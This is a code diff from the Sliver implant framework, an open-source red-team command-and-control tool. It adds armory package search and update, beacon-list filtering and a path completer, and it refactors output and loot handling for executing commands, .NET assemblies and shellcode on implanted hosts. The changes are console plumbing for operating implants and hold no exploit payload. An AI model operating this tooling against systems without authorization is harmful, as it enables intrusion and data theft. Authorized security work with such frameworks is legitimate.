if len(sig.TrustedComment) < 1 {
|
||||
return nil, errors.New("missing trusted comment")
|
||||
}
|
||||
return &sig, nil
|
||||
}
|
||||
|
||||
func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
return &http.Client{
|
||||
Timeout: config.Timeout,
|
||||
Transport: &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
IdleConnTimeout: time.Millisecond,
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmorySearchCmd - Search for packages by name
|
||||
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
rawNameExpr := ctx.Args.String("name")
|
||||
if rawNameExpr == "" {
|
||||
con.PrintErrorf("Please specify a search term!\n")
|
||||
return
|
||||
}
|
||||
nameExpr, err := regexp.Compile(rawNameExpr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid regular expression: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
matchedAliases = append(matchedAliases, a)
|
||||
}
|
||||
}
|
||||
matchedExts := []*extensions.ExtensionManifest{}
|
||||
for _, ext := range exts {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, ext)
|
||||
}
|
||||
}
|
||||
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
|
||||
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
|
||||
return
|
||||
}
|
||||
PrintArmoryPackages(matchedAliases, matchedExts, con)
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := ioutil.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := alias.ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := ioutil.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := extensions.ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -21,6 +21,7 @@ package beacons
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -31,7 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
@@ -46,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, false, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -62,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, true, con)
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -71,35 +72,44 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
filter := ctx.Flags.String("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
PrintBeacons(beacons.Beacons, con)
|
||||
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
|
||||
}
|
||||
|
||||
// PrintBeacons - Display a list of beacons
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
|
||||
if len(beacons) == 0 {
|
||||
con.PrintInfof("No beacons 🙁\n")
|
||||
return
|
||||
}
|
||||
tw := renderBeacons(beacons, con)
|
||||
tw := renderBeacons(beacons, filter, filterRegex, con)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := terminal.GetSize(0)
|
||||
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if 182 < width {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
@@ -132,37 +142,87 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
}
|
||||
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
|
||||
|
||||
var next string
|
||||
var interval string
|
||||
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
past := time.Now().Sub(nextCheckin)
|
||||
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
|
||||
|
||||
} else {
|
||||
interval = time.Since(nextCheckin).Round(time.Second).String()
|
||||
}
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
|
||||
} else {
|
||||
eta := nextCheckin.Sub(time.Now())
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
|
||||
} else {
|
||||
interval = time.Until(nextCheckin).Round(time.Second).String()
|
||||
}
|
||||
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
|
||||
}
|
||||
if 182 < width {
|
||||
tw.AppendRow(table.Row{
|
||||
|
||||
// We need a slice of strings so we can apply filters
|
||||
var rowEntries []string
|
||||
|
||||
/*
|
||||
Round the duration to the nearest second to be more output friendly.
|
||||
We deal in seconds for everything, so it makes sense to show outputs
|
||||
in seconds to remain consistent.
|
||||
*/
|
||||
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
|
||||
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
|
||||
next,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
|
||||
next,
|
||||
})
|
||||
}
|
||||
}
|
||||
// Build the row struct
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
// Apply filters if any
|
||||
if filter == "" && filterRegex == nil {
|
||||
tw.AppendRow(row)
|
||||
} else {
|
||||
for _, rowEntry := range rowEntries {
|
||||
if filter != "" {
|
||||
if strings.Contains(rowEntry, filter) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filterRegex != nil {
|
||||
if filterRegex.MatchString(rowEntry) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tw
|
||||
|
||||
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if time.Now().Before(nextCheckin) {
|
||||
continue
|
||||
}
|
||||
delta := time.Now().Sub(nextCheckin)
|
||||
delta := time.Since(nextCheckin)
|
||||
if pruneDuration <= delta {
|
||||
pruneBeacons = append(pruneBeacons, beacon)
|
||||
}
|
||||
|
||||
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
|
||||
}
|
||||
tw := renderBeacons(beacons.Beacons, con)
|
||||
tw := renderBeacons(beacons.Beacons, "", nil, con)
|
||||
lines := strings.Split(tw.Render(), "\n")
|
||||
for _, line := range lines {
|
||||
con.Printf(console.Clearln+"\r%s\n", line)
|
||||
|
||||
+570
-102
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,4 @@
|
||||
Completers
|
||||
===========
|
||||
|
||||
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
|
||||
@@ -0,0 +1,63 @@
|
||||
package completers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
)
|
||||
|
||||
// LocalPathCompleter - Completes a local file system path
|
||||
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
var parent string
|
||||
var partial string
|
||||
fi, err := os.Stat(prefix)
|
||||
if os.IsNotExist(err) {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
} else {
|
||||
if fi.IsDir() {
|
||||
parent = prefix
|
||||
partial = ""
|
||||
} else {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
}
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
ls, err := ioutil.ReadDir(parent)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
for _, fi = range ls {
|
||||
if 0 < len(partial) {
|
||||
if strings.HasPrefix(fi.Name(), partial) {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
} else {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -20,13 +20,10 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -61,13 +58,16 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
assemblyArgs := ctx.Args.StringList("arguments")
|
||||
process := ctx.Flags.String("process")
|
||||
|
||||
assemblyArgsStr := strings.Join(assemblyArgs, " ")
|
||||
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: strings.Join(assemblyArgs, " "),
|
||||
Arguments: assemblyArgsStr,
|
||||
Assembly: assemblyBytes,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
@@ -80,7 +80,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
hostname := getHostname(session, beacon)
|
||||
hostName := getHostname(session, beacon)
|
||||
if execAssembly.Response != nil && execAssembly.Response.Async {
|
||||
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execAssembly)
|
||||
@@ -88,52 +88,27 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execAssembly.Response)
|
||||
} else {
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteAssembly - Print the results of an assembly execution
|
||||
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
|
||||
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if execAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAssembly.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
|
||||
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
if saveLoot {
|
||||
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
|
||||
}
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -125,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
return
|
||||
}
|
||||
|
||||
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
||||
|
||||
var oldState *terminal.State
|
||||
var oldState *term.State
|
||||
if !noPty {
|
||||
oldState, err = terminal.MakeRaw(0)
|
||||
oldState, err = term.MakeRaw(0)
|
||||
log.Printf("Saving terminal state: %v", oldState)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save terminal state\n")
|
||||
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
|
||||
if !noPty {
|
||||
log.Printf("Restoring terminal state ...")
|
||||
terminal.Restore(0, oldState)
|
||||
term.Restore(0, oldState)
|
||||
}
|
||||
|
||||
log.Printf("Exit interactive")
|
||||
|
||||
+128
-18
@@ -18,7 +18,11 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -41,6 +45,12 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
output := ctx.Flags.Bool("output")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
var captureOutput bool = output || saveLoot || saveOutput
|
||||
|
||||
if output && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
@@ -56,7 +66,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: output,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
@@ -65,7 +75,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: output,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
@@ -84,22 +94,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecute(exec, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(exec.Response)
|
||||
} else {
|
||||
PrintExecute(exec, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var lootedOutput []byte
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
lootName := ctx.Flags.String("name")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
|
||||
if saveLoot || saveOutput {
|
||||
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
|
||||
}
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
|
||||
}
|
||||
|
||||
PrintExecute(exec, ctx, con)
|
||||
}
|
||||
|
||||
// PrintExecute - Print the output of an executed command
|
||||
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
|
||||
output := ctx.Flags.Bool("output")
|
||||
if !output {
|
||||
@@ -111,17 +141,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
|
||||
return
|
||||
}
|
||||
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = string(exec.Stdout)
|
||||
con.PrintInfof("Output:\n%s", combined)
|
||||
con.PrintInfof("Output:\n%s", string(exec.Stdout))
|
||||
} else {
|
||||
con.PrintInfof("Stdout saved at %s\n", stdout)
|
||||
}
|
||||
|
||||
if stderr == "" {
|
||||
if !ignoreStderr && 0 < len(exec.Stderr) {
|
||||
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
|
||||
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
|
||||
}
|
||||
} else {
|
||||
@@ -131,13 +158,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
}
|
||||
if saveLoot && 0 < len(combined) {
|
